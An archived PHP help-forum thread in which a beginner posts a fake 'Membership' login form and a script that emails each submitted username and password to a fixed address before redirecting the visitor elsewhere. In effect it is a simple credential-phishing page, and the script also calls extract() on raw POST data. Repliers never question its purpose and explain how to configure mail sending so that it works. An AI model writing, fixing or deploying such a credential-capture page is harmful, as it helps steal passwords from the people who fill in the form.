Jump to content

Simple PHP script but im a noob and i need help thanx!


shisamandisa

Recommended Posts

I have a pretty simple php script along with form and i was wondering if i was doing anything wrong because no information is being sent to my email. So can anyone revise this for errors and tell me what im doing wrong thanx!  ;)

heres the .php
[code]<?php
@extract($_POST);
$username=$_POST["username"];
$password=$_POST["password"];
mail("[email protected]", $username, $password, "From: $username");
header("Location: http://anyredirectsite.com");
?>
[/code]

here is the form
[code]<form name="contact.php" method='POST' action="http://something.com/contact.php">

<br><br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td

align="center">password:</td><td align="center"><input size="20" type="password" name="password"

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership"

style="background:#4D422E url('http://stylebutton.com/style.gif'); color: white;"

class="b"></td></tr></table></form>[/code]

Thanks for anyhelp!
Ok, here we go...

Lets say php is our e-mail client for sending e-mail, much like Outlook Express or something like that. The client sends the e-mail to a smtp server, which in turn sends the e-mail to the desired e-mail address. To send e-mail with php you need to set up an smtp server on your computer.

Just search google, pick one and download/install it, then configure it, and then edit the mail function in php.ini to match it
[quote author=shisamandisa link=topic=100744.msg398000#msg398000 date=1153019129]
i have hosted contact.php on a web hoster on freehostia.com
[/quote]

if they offer email with your domain name then you probably do have it set up but you should check with them first to make sure

run phpinfo and see what "sendmail_path" this reads

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.